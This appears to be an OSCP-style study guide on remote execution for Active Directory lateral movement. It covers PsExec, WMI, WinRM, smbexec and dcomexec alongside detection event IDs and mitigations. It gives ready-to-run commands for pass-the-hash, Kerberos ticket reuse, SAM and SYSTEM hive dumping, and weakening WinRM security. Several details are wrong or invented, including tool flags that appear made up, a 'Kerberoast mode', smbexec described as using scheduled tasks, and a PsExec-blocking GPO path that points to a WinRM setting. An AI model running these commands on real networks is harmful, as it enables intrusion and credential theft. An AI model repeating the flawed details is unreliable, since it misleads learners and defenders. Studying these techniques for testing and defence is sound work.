Remote Execution Techniques
Table of Contents
- Overview of Remote Execution
- PsExec
- WMI Execution
- WinRM / WinRS
- SMB Execution
- RPC / DCOM Execution
- Comparison Table
- Detection and Mitigation
- OSCP Exam Tips
1. Overview of Remote Execution
Remote execution is the cornerstone of lateral movement in Active Directory. It allows an attacker to run commands on a remote system without physical or interactive access. Understanding each technique’s mechanics, requirements, and trade-offs is essential for both offensive operations and defensive detection.
Why Remote Execution Matters
- Primary lateral movement vector: Most AD lateral movement relies on remote execution
- Built-in functionality: Uses legitimate Windows administration tools
- Multiple protocols: Redundancy — if one is blocked, others may work
- Living-off-the-land: No malware deployment needed in many cases
Remote Execution Protocol Stack
┌──────────────────────────────────────────────────────────────────┐
│ REMOTE EXECUTION METHODS │
├────────────┬──────────┬───────────┬──────────┬───────────────────┤
│ Technique │ Protocol │ Port(s) │ Requires │ Stealth Level │
├────────────┼──────────┼───────────┼──────────┼───────────────────┤
│ PsExec │ SMB │ 445 │ Admin$ │ Low (service) │
│ WMI │ DCOM/RPC │ 135+ │ Admin │ High (fileless) │
│ WinRM │ HTTP/S │ 5985/86 │ WinRM │ Medium │
│ SMBExec │ SMB │ 445 │ IPC$ │ Medium │
│ DCOMExec │ DCOM │ 135+ │ Admin │ Medium │
└────────────┴──────────┴───────────┴──────────┴───────────────────┘
2. PsExec
2.1 How PsExec Works
PsExec is a Sysinternals utility that provides a lightweight telnet-like experience. It is the most well-known remote execution tool and a favorite in OSCP exams.
Mechanism:
Attacker Machine Target Machine
───────────────── ───────────────
│
1. Connect to ADMIN$ share ────────→│ (SMB, port 445)
│
2. Copy psexesvc.exe to ADMIN$ ────→│ (service executable)
│
3. Create & start PSEXESVC service ─→│ (Service Control Manager)
│
4. Service opens listener socket ───│ (named pipe or TCP)
│
5. Send command via socket ────────→│
│
6. Service executes command ────────│
│
7. Return output via socket ←───────│
│
8. Stop & delete service ──────────→│ (cleanup)
│
9. Delete psexesvc.exe from ADMIN$ →│ (cleanup)
│
Key Components:
- psexec.exe: Client-side tool running on the attacker’s machine
- psexesvc.exe: Service binary copied to the target’s
ADMIN$share - ADMIN$ share: Administrative share pointing to
C:\Windows\ - Service Control Manager: Used to create and manage the PSEXESVC service
2.2 Native PsExec (Windows)
Prerequisites:
- Administrative credentials on the target
- Access to port 445 (SMB)
- ADMIN$ share must be accessible
- File and Printer Sharing enabled on target
Basic Commands:
# Basic remote command execution
psexec \\TARGET_IP cmd
# Interactive command prompt on remote system
psexec \\TARGET_IP -s cmd
# Run as specific user
psexec \\TARGET_IP -u DOMAIN\username -p password cmd
# Run with system privileges (-s flag)
psexec \\TARGET_IP -s -u DOMAIN\username -p password cmd
# Execute a specific command
psexec \\TARGET_IP -u DOMAIN\username -p password "whoami"
# Copy a file to the remote system
psexec \\TARGET_IP -c file_to_copy.exe
# Run a program already on the remote system
psexec \\TARGET_IP "C:\path\to\program.exe"
# Accept EULA automatically
psexec \\TARGET_IP -accepteula cmd
# Run hidden (no console window)
psexec \\TARGET_IP -i 0 -d cmd
# Specify custom service name (evasion)
psexec \\TARGET_IP -s ServiceName cmd
Advanced Usage:
# Execute PowerShell script remotely
psexec \\TARGET_IP -u DOMAIN\user -p pass powershell -ep bypass -f C:\path\script.ps1
# Dump SAM database remotely
psexec \\TARGET_IP -s cmd
# Then on remote: reg save HKLM\SAM C:\temp\SAM.sav
# reg save HKLM\SYSTEM C:\temp\SYSTEM.sav
# Multiple targets at once
psexec @targets.txt -u DOMAIN\user -p pass "ipconfig /all"
# With timeout
psexec \\TARGET_IP -timeout 30 cmd
2.3 Impacket PsExec (psexec.py)
Prerequisites:
- Impacket installed (
pip install impacket) - Credentials or hash for target
- Network access to port 445
Basic Commands:
# Using plaintext password
psexec.py DOMAIN/username:password@TARGET_IP
# Using NTLM hash (pass-the-hash)
psexec.py -hashes lmhash:nthash DOMAIN/username@TARGET_IP
# Using only NTLM hash (LM hash can be empty)
psexec.py -hashes :nthash DOMAIN/username@TARGET_IP
# Using Kerberos ticket
psexec.py -no-pass -k DOMAIN/username@TARGET_IP
# Execute a specific command instead of interactive shell
psexec.py DOMAIN/username:password@TARGET_IP "whoami"
# Use SMBv1 (for legacy systems)
psexec.py -protocol SMBv1 DOMAIN/username:password@TARGET_IP
# Specify DC for authentication
psexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP
# Use LDAP instead of SAMR for authentication
psexec.py -ldap-signing DOMAIN/username:password@TARGET_IP
# No output (silent execution)
psexec.py DOMAIN/username:password@TARGET_IP "command" 2>/dev/null
Advanced Impacket PsExec:
# Kerberoast mode - request TGS for service accounts
psexec.py -kdcHost DC_IP DOMAIN/username:password@TARGET_IP
# With certificate authentication
psexec.py -cert-cert cert.pem -cert-key key.pem DOMAIN/username@TARGET_IP
# AES key authentication
psexec.py -aesKey <AES256_KEY> DOMAIN/username@TARGET_IP
# Continous mode (stay connected)
psexec.py -continous DOMAIN/username:password@TARGET_IP
2.4 PsExec Detection Indicators
| Indicator | Description | Detection Method |
|---|---|---|
| Service Creation | PSEXESVC service created | Event ID 7045 (Service Installed) |
| File Creation | psexesvc.exe written to C:\Windows | File integrity monitoring on Windows directory |
| SMB Connection | Connection to ADMIN$ share | Event ID 5140 (Share Access) |
| Registry Changes | Service registry keys created | Event ID 13 (Registry Object Created) |
| Network Connection | Outbound connection from service | Network monitoring on unusual SMB patterns |
| Process Creation | cmd.exe/powershell.exe from service | Event ID 4688 (Process Creation) |
Specific Event IDs:
Event ID 7045: A service was installed in the system
- Service Name: PSEXESVC (or custom name)
- Service File: C:\Windows\PSEXESVC.exe
Event ID 4663: An handle to an object was requested
- Object: ADMIN$ share access
Event ID 5140: A share was accessed
- Share Name: ADMIN$
Event ID 4688: A new process was created
- Parent: services.exe → cmd.exe (suspicious chain)
2.5 PsExec Mitigation
| Mitigation | Description |
|---|---|
| Block PsExec service name | Group Policy: Prevent installation of PSEXESVC |
| Restrict ADMIN$ access | Limit administrative share access via GPO |
| AppLocker / WDAC | Block execution of psexec.exe and psexesvc.exe |
| SMB signing | Require SMB signing to prevent relay attacks |
| Network segmentation | Restrict port 445 between workstations |
| Endpoint Detection | Alert on service creation in C:\Windows |
| Disable admin shares | GPO: Disable automatic administrative shares |
GPO to block PsExec:
Computer Configuration → Policies → Administrative Templates
→ Windows Components → Windows Remote Management (WinRM)
→ WinRM Service → Allow remote server management through WinRM
Also:
Computer Configuration → Policies → Windows Settings
→ Security Settings → Registry (custom GPO to block PSEXESVC service name)
3. WMI Execution
3.1 How WMI Execution Works
Windows Management Instrumentation (WMI) is a powerful administration framework that allows remote query and execution. WMI execution is fileless — it does not copy any binaries to the target.
Mechanism:
Attacker Machine Target Machine
───────────────── ───────────────
│
1. Connect via DCOM/RPC ───────────→│ (port 135)
│
2. Epmap negotiation ──────────────→│ (dynamic port assignment)
│
3. WMI namespace access ───────────→│ (root\cimv2)
│
4. Win32_Process.Create ───────────→│ (process creation)
│
5. Command executes in svchost.exe ─│ (WMI provider host)
│
6. Output retrieved via WMI query ←──│ (StdOutReg provider or event log)
│
Key Components:
- DCOM (Distributed COM): Communication protocol over RPC
- RPC Endpoint Mapper: Port 135, assigns dynamic ports for WMI
- Win32_Process class: WMI class used to create remote processes
- StdRegProv / StdOutReg: Methods to capture command output
3.2 WMI via PowerShell
Prerequisites:
- Administrative credentials on target
- Port 135 (RPC) accessible
- WMI service running on target
- DCOM access allowed by firewall
Basic Commands:
# Execute command via Win32_Process.Create
$process = [WMICLASS]"\\TARGET_IP\root\cimv2:Win32_Process"
$process.Create("cmd.exe /c whoami > C:\temp\output.txt")
# With credentials
$cred = Get-Credential
$process = [WMICLASS]"\\TARGET_IP\root\cimv2:Win32_Process"
$process.Create("cmd.exe /c whoami")
# Using Invoke-WmiMethod
Invoke-WmiMethod -ComputerName TARGET_IP -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami"
# Query WMI remotely
Get-WmiObject -Class Win32_OperatingSystem -ComputerName TARGET_IP
Get-WmiObject -Class Win32_Process -ComputerName TARGET_IP
# CIM (newer, preferred over WMI)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -ComputerName TARGET_IP -Arguments @{CommandLine="cmd.exe /c whoami"}
Get-CimInstance -ClassName Win32_OperatingSystem -ComputerName TARGET_IP
PowerShell WMI Execution with Output Capture:
# Method 1: Write to file, then read
$proc = [WMICLASS]"\\TARGET\root\cimv2:Win32_Process"
$proc.Create("cmd.exe /c whoami > C:\Windows\Temp\wmires.txt")
Get-Content \\TARGET\C$\Windows\Temp\wmires.txt
# Method 2: Use StdOutReg provider (requires setup)
# First, register the provider on target
# Then query output from registry
# Method 3: Event log method
$proc.Create("cmd.exe /c eventcreate /ID 100 /L SYSTEM /T INFORMATION /SO test /D 'output_here'")
Get-WinEvent -ComputerName TARGET -FilterHashtable @{LogName='System'; ID=100}
3.3 WMI via Impacket (wmiexec.py)
Basic Commands:
# Using plaintext password
wmiexec.py DOMAIN/username:password@TARGET_IP
# Using NTLM hash
wmiexec.py -hashes :nthash DOMAIN/username@TARGET_IP
# Using Kerberos
wmiexec.py -no-pass -k DOMAIN/username@TARGET_IP
# Execute specific command
wmiexec.py DOMAIN/username:password@TARGET_IP "whoami"
# Specify DC
wmiexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP
# Kerberos with specific DC
wmiexec.py -k -dc-ip DC_IP DOMAIN/username@TARGET_IP
3.4 WMI via WMIC (Legacy)
# Basic WMIC command
wmic /node:TARGET_IP /user:DOMAIN\username /password:password process call create "cmd.exe /c whoami"
# Query processes
wmic /node:TARGET_IP /user:DOMAIN\username /password:password process list brief
# Query operating system
wmic /node:TARGET_IP /user:DOMAIN\username /password:password os get Caption,Version
# List shares
wmic /node:TARGET_IP /user:DOMAIN\username /password:password share list
# Query user accounts
wmic /node:TARGET_IP /user:DOMAIN\username /password:password useraccount list
3.5 WMI Detection Indicators
| Indicator | Description | Detection Method |
|---|---|---|
| Process Creation via WMI | Win32_Process.Create calls | Event ID 4688 with WMI parent process |
| DCOM Activation | Remote DCOM object activation | Event ID 5900 (MS10-091 DCOM) |
| WMI Event Subscription | Permanent event consumers | Event ID 5861 (Event Consumer Activity) |
| RPC Connection | Unusual RPC traffic on port 135 | Network monitoring |
| No file drop | Fileless execution | Behavioral analysis (process without file) |
Specific Event IDs:
Event ID 4688: Process Creation
- Parent Image: C:\Windows\System32\wbem\wmiprvse.exe
- This indicates WMI-spawned process
Event ID 5857: A WMI filter was created/modified
Event ID 5859: A WMI event consumer was created/modified
Event ID 5860: A WMI event consumer binding was created/modified
Event ID 5861: Activity in a WMI event consumer
Event ID 5900: MS10-091 DCOM RPC exploit attempt
- Indicates remote DCOM activation
3.6 WMI Mitigation
| Mitigation | Description |
|---|---|
| Restrict DCOM access | GPO: Limit DCOM activation permissions |
| Disable WMI remotely | GPO: Disable remote WMI administration |
| Firewall rules | Block port 135 from untrusted networks |
| WMI namespaces security | Restrict access to root\cimv2 namespace |
| Monitor WMI events | Enable WMI activity logging (Event IDs 5857-5861) |
| AppLocker | Block suspicious process creation chains |
4. WinRM / WinRS
4.1 How WinRM Works
Windows Remote Management (WinRM) is a Windows service that allows remote management via WS-Management protocol. It operates over HTTP (port 5985) or HTTPS (port 5986).
Mechanism:
Attacker Machine Target Machine
───────────────── ───────────────
│
1. HTTP POST to wsman ─────────────→│ (port 5985/5986)
/wsman │
│
2. Kerberos/NTLM Negotiation ──────→│ (authentication)
│
3. Shell resource creation ────────→│ (winrm/create-shell)
│
4. Command send ───────────────────→│ (winrm/command)
│
5. Output receive ←─────────────────│ (winrm/command-output)
│
6. Shell cleanup ──────────────────→│ (winrm/delete-shell)
│
Key Components:
- WinRM Service: Windows service listening on ports 5985/5986
- WinRS: Windows Remote Shell — the actual shell component
- WS-Management Protocol: SOAP-based protocol over HTTP
- Kerberos Authentication: Default auth method in domain environments
4.2 WinRM via PowerShell
Prerequisites:
- WinRM service enabled on target (
winrm quickconfig) - Port 5985 (HTTP) or 5986 (HTTPS) accessible
- Credentials with appropriate permissions
- TrustedHosts configured (for non-domain or HTTP)
Enable WinRM on Target:
# Quick configuration
winrm quickconfig
# Check WinRM status
winrm enumerate winrm/config/listener
# Configure TrustedHosts (for non-domain scenarios)
winrm set winrm/config/client '@{TrustedHosts="*"}'
# Enable WinRM with authentication
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
winrm set winrm/config/service/auth '@{Basic="true"}'
Enter-PSSession (Interactive):
# Interactive PowerShell session
Enter-PSSession -ComputerName TARGET_IP -Credential (Get-Credential)
# With specific credentials
Enter-PSSession -ComputerName TARGET_IP -Credential DOMAIN\username
# Over HTTPS
Enter-PSSession -ComputerName TARGET_IP -UseSSL -Credential DOMAIN\username
# With authentication scheme
Enter-PSSession -ComputerName TARGET_IP -Authentication Kerberos -Credential DOMAIN\username
# Exit session
Exit-PSSession
Invoke-Command (Non-Interactive):
# Single command
Invoke-Command -ComputerName TARGET_IP -ScriptBlock { whoami } -Credential (Get-Credential)
# Multiple commands
Invoke-Command -ComputerName TARGET_IP -ScriptBlock {
whoami
ipconfig /all
Get-Process
} -Credential DOMAIN\username
# Execute script file remotely
Invoke-Command -ComputerName TARGET_IP -FilePath .\script.ps1 -Credential DOMAIN\username
# Multiple targets
Invoke-Command -ComputerName TARGET1, TARGET2, TARGET3 -ScriptBlock { hostname } -Credential DOMAIN\username
# With session (persistent)
$session = New-PSSession -ComputerName TARGET_IP -Credential DOMAIN\username
Invoke-Command -Session $session -ScriptBlock { whoami }
Remove-PSSession $session
Enable-PSRemoting:
# On target - enable PowerShell remoting
Enable-PSRemoting -Force
# Verify configuration
Test-WSMan TARGET_IP
# Configure for domain environment
Enable-PSRemoting -SkipNetworkProfileCheck -Force
4.3 evil-winrm (Ruby Tool)
Prerequisites:
- Ruby installed (
sudo apt install ruby) - evil-winrm gem (
gem install evil-winrm)
Basic Commands:
# Basic connection
evil-winrm -i TARGET_IP -u username -p password
# With domain
evil-winrm -i TARGET_IP -u username -p password -d DOMAIN
# Using NTLM hash
evil-winrm -i TARGET_IP -u username -H nthash
# Using Kerberos
evil-winrm -i TARGET_IP -u username -k
# With certificate (HTTPS)
evil-winrm -i TARGET_IP -u username -p password -s
# Upload file
evil-winrm -i TARGET_IP -u username -p password
upload /local/path/file.exe C:\Windows\Temp\file.exe
# Download file
download C:\Windows\Temp\file.exe /local/path/
4.4 WinRM via Impacket
# Using wmiexec with WinRM backend (not direct WinRM, but related)
wmiexec.py DOMAIN/username:password@TARGET_IP
# Note: Impacket does not have a dedicated winrm.py
# Use evil-winrm or PowerShell for WinRM access
4.5 WinRM Detection Indicators
| Indicator | Description | Detection Method |
|---|---|---|
| WinRM Service Start | WinRM service started unexpectedly | Event ID 7045 |
| HTTP Traffic on 5985 | WS-Man traffic on WinRM port | Network monitoring |
| Process Creation | wsmprovhost.exe spawning processes | Event ID 4688 |
| Authentication Events | Kerberos/NTLM auth to WinRM | Event ID 4624 |
| Shell Creation | WinRM shell resource created | Event ID 4104 (Operational) |
Specific Event IDs:
Event ID 4104: A Windows Remote Management (WRM) event
- Provider: Microsoft-Windows-WinRM/Operational
- Shows shell creation, command execution
Event ID 4688: Process Creation
- Image: C:\Windows\System32\wsmprovhost.exe
- Indicates WinRM-spawned process
Event ID 4624: Logon
- Logon Type: 10 (RemoteInteractive) or 9 (NewCredentials)
- Authentication: Kerberos to WinRM service
4.6 WinRM Mitigation
| Mitigation | Description |
|---|---|
| Disable WinRM | winrm quickconfig reverse — disable service |
| Use HTTPS only | Force port 5986 with certificate |
| Restrict TrustedHosts | Limit to specific IPs/ranges |
| Firewall rules | Block 5985/5986 from untrusted networks |
| Kerberos-only auth | Disable Basic/NTLM for WinRM |
| Monitor WinRM logs | Enable WinRM operational logging |
5. SMB Execution
5.1 How SMBExec Works
SMBExec (specifically smbexec.py from Impacket) provides remote execution without dropping a service binary. It uses the IPC$ (Inter-Process Communication) share and scheduled tasks for execution.
Mechanism:
Attacker Machine Target Machine
───────────────── ───────────────
│
1. Connect to IPC$ share ──────────→│ (SMB, port 445)
│
2. Create scheduled task ──────────→│ (SchedSvc via RPC)
│
3. Task executes command ──────────→│ (at specified time)
│
4. Output written to file ──────────│ (in shared location)
│
5. Read output via SMB ←────────────│
│
6. Delete scheduled task ──────────→│ (cleanup)
│
7. Delete output file ─────────────→│ (cleanup)
│
Key Differences from PsExec:
- No service binary dropped (more stealthy)
- Uses scheduled tasks instead of services
- Still requires admin access to IPC$
- Slower execution (scheduled task delay)
5.2 SMBExec via Impacket
Basic Commands:
# Using plaintext password
smbexec.py DOMAIN/username:password@TARGET_IP
# Using NTLM hash
smbexec.py -hashes :nthash DOMAIN/username@TARGET_IP
# Using Kerberos
smbexec.py -no-pass -k DOMAIN/username@TARGET_IP
# Execute specific command
smbexec.py DOMAIN/username:password@TARGET_IP "whoami"
# With DC specification
smbexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP
5.3 SMBExec Detection Indicators
| Indicator | Description | Detection Method |
|---|---|---|
| Scheduled Task Creation | New task created via RPC | Event ID 4698 (Scheduled Task Created) |
| IPC$ Access | Connection to IPC$ share | Event ID 5140 |
| Task Deletion | Task removed after execution | Event ID 4700 (Scheduled Task Deleted) |
| File Creation | Temp output file created | File monitoring |
Specific Event IDs:
Event ID 4698: A scheduled task was created
- Task Name: Randomly generated name
- Author: Attacker's account
Event ID 4700: A scheduled task was deleted
- Task Name: Same random name
Event ID 4699: A scheduled task was updated
- Indicates task modification
5.4 SMBExec Mitigation
| Mitigation | Description |
|---|---|
| Restrict IPC$ access | Limit IPC$ share access via GPO |
| Block scheduled task creation | Restrict task creation permissions |
| Monitor task events | Alert on Events 4698, 4699, 4700 |
| SMB signing | Require SMB signing |
| Network segmentation | Restrict port 445 |
6. RPC / DCOM Execution
6.1 How DCOMExec Works
DCOMExec uses Distributed COM objects to execute commands remotely. It leverages the same infrastructure as WMI but through different COM objects.
Mechanism:
Attacker Machine Target Machine
───────────────── ───────────────
│
1. RPC connection ──────────────────→│ (port 135)
│
2. DCOM object activation ──────────→│ (ShellBrowserWindow)
│
3. Command execution via DCOM ──────→│
│
4. Output retrieval ←───────────────│
│
6.2 DCOMExec via Impacket
Basic Commands:
# Using plaintext password
dcomexec.py DOMAIN/username:password@TARGET_IP
# Using NTLM hash
dcomexec.py -hashes :nthash DOMAIN/username@TARGET_IP
# Using Kerberos
dcomexec.py -no-pass -k DOMAIN/username@TARGET_IP
# Execute specific command
dcomexec.py DOMAIN/username:password@TARGET_IP "whoami"
# With DC specification
dcomexec.py -dc-ip DC_IP DOMAIN/username:password@TARGET_IP
6.3 DCOMExec Detection Indicators
| Indicator | Description | Detection Method |
|---|---|---|
| DCOM Activation | Remote DCOM object creation | Event ID 5900 |
| RPC Traffic | Unusual RPC on port 135 | Network monitoring |
| Process Creation | Processes spawned via DCOM | Event ID 4688 |
6.4 DCOMExec Mitigation
| Mitigation | Description |
|---|---|
| Restrict DCOM | GPO: Limit DCOM activation |
| Firewall rules | Block port 135 from untrusted networks |
| Monitor DCOM events | Enable DCOM activation logging |
| Endpoint detection | Alert on remote DCOM activations |
7. Comparison Table
Comprehensive Technique Comparison
| Feature | PsExec | WMI | WinRM | SMBExec | DCOMExec |
|---|---|---|---|---|---|
| Protocol | SMB | DCOM/RPC | HTTP/S | SMB + RPC | DCOM/RPC |
| Port(s) | 445 | 135 + dynamic | 5985/5986 | 445 + 135 | 135 + dynamic |
| File Drop | Yes (psexesvc.exe) | No (fileless) | No (fileless) | No (fileless) | No (fileless) |
| Service Created | Yes (PSEXESVC) | No | No | No | No |
| Scheduled Task | No | No | No | Yes | No |
| Stealth Level | Low | High | Medium | Medium | Medium |
| Detection Difficulty | Easy | Hard | Medium | Medium | Medium |
| Interactive Shell | Yes | Limited | Yes | Limited | Limited |
| File Transfer | Yes (-c flag) | No | Yes (evil-winrm) | No | No |
| Kerberos Support | Yes | Yes | Yes (default) | Yes | Yes |
| Pass-the-Hash | Yes | Yes | Yes | Yes | Yes |
| Pass-the-Ticket | Yes | Yes | Yes | Yes | Yes |
| Requires Admin$ | Yes | No | No | IPC$ only | No |
| Speed | Fast | Medium | Fast | Slow | Medium |
| Reliability | High | High | High | Medium | Medium |
| OSCP Frequency | Very High | High | High | Medium | Low |
When to Use Each Technique
| Situation | Recommended Technique | Reason |
|---|---|---|
| Standard AD lab, port 445 open | PsExec | Most reliable, interactive |
| Port 445 blocked, 135 open | WMI | Uses RPC, fileless |
| WinRM enabled, want PowerShell | WinRM | Native PowerShell integration |
| Maximum stealth needed | WMI | No files, no services |
| Need file upload | PsExec or WinRM | Both support file transfer |
| Quick command execution | SMBExec | Simple, no service |
| All else fails | Try all | Different configs block different methods |
8. Detection and Mitigation
Unified Detection Strategy
SIEM Correlation Rules:
Rule 1: PsExec Detection
IF EventID=7045 AND ServiceName CONTAINS "PSEXESVC"
THEN Alert: "PsExec service detected"
Rule 2: WMI Remote Execution
IF EventID=4688 AND ParentImage CONTAINS "wmiprvse.exe"
AND Image NOT IN (whitelist)
THEN Alert: "WMI remote process creation"
Rule 3: WinRM Suspicious Activity
IF EventID=4104 AND Operation="CreateShell"
AND SourceIP NOT IN (admin_ips)
THEN Alert: "Suspicious WinRM shell creation"
Rule 4: Scheduled Task Lateral Movement
IF EventID=4698 AND TaskName MATCHES random_pattern
AND EventID=4700 WITHIN 5 minutes
THEN Alert: "Possible SMBExec activity"
Rule 5: Rapid Multi-Host Access
IF EventID=4624 AND SameUser accesses >5 hosts IN 10 minutes
THEN Alert: "Possible lateral movement"
Defense-in-Depth Mitigations
| Layer | Mitigation | Tools/Methods |
|---|---|---|
| Network | Segment admin traffic, block unnecessary ports | VLANs, Firewall rules |
| Host | Disable unused services, harden configs | GPO, Local Security Policy |
| Application | AppLocker, WDAC rules | Application whitelisting |
| Monitoring | EDR, SIEM, event forwarding | Splunk, Sentinel, ELK |
| Identity | LAPS, PAM, just-in-time admin | Privileged Access Management |
| Authentication | Enforce Kerberos, disable NTLM where possible | GPO, LDAP policies |
9. OSCP Exam Tips
Remote Execution Command Quick Reference
# From Kali - try techniques in this order:
# 1. PsExec (most reliable)
psexec.py DOMAIN/user:pass@TARGET
# 2. WMI (if 445 blocked)
wmiexec.py DOMAIN/user:pass@TARGET
# 3. WinRM (if enabled)
evil-winrm -i TARGET -u user -p pass -d DOMAIN
# 4. SMBExec (alternative)
smbexec.py DOMAIN/user:pass@TARGET
# With hash instead of password:
psexec.py -hashes :HASH DOMAIN/user@TARGET
wmiexec.py -hashes :HASH DOMAIN/user@TARGET
# With Kerberos ticket:
export KRB5CCNAME=ticket.ccache
psexec.py -no-pass -k DOMAIN/user@TARGET
Common Exam Scenarios
| Scenario | Solution |
|---|---|
| You have admin password, 445 open | psexec.py DOMAIN/user:pass@TARGET |
| You have hash, 445 open | psexec.py -hashes :HASH DOMAIN/user@TARGET |
| 445 blocked, 135 open | wmiexec.py DOMAIN/user:pass@TARGET |
| WinRM enabled on 5985 | evil-winrm -i TARGET -u user -p pass |
| You have Kerberos ticket | export KRB5CCNAME=ticket.ccache; psexec.py -no-pass -k DOMAIN/user@TARGET |
| Need to upload a file | Use PsExec -c flag or evil-winrm upload |
Troubleshooting
| Error | Cause | Fix |
|---|---|---|
STATUS_ACCESS_DENIED |
Not admin on target | Verify credentials, check local groups |
Connection refused |
Port blocked | Try different technique (WMI, WinRM) |
The filename or extension is too long |
Path issue | Use shorter paths |
Login failure |
Wrong credentials | Verify username/password/domain |
WinRM cannot complete the operation |
WinRM not configured | Use PsExec or WMI instead |
DCERPC Runtime error |
RPC issue | Try different technique |
No connection could be made |
Network/Firewall | Check connectivity, try nmap first |
Key Reminders
- Always try PsExec first — it’s the most reliable in OSCP labs
- Have WMI as backup — when SMB is blocked
- Check WinRM —
crackmapexec winrmquickly identifies WinRM-enabled targets - Document each attempt — screenshot commands and outputs for your report
- Use CrackMapExec for reconnaissance — before attempting execution, verify access
- Remember the hash format —
psexec.py -hashes lm:nt(LM can be empty::nt)
Summary
Remote execution is the engine of lateral movement in Active Directory. Each technique has its strengths:
- PsExec: Most reliable, interactive, but least stealthy
- WMI: Fileless and stealthy, great when SMB is blocked
- WinRM: PowerShell-native, good for scripting and file transfer
- SMBExec: No file drop, uses scheduled tasks
- DCOMExec: Alternative DCOM-based approach
Master all five techniques, understand their detection indicators, and know when to switch between them. In OSCP exams, having multiple fallback options is crucial for success.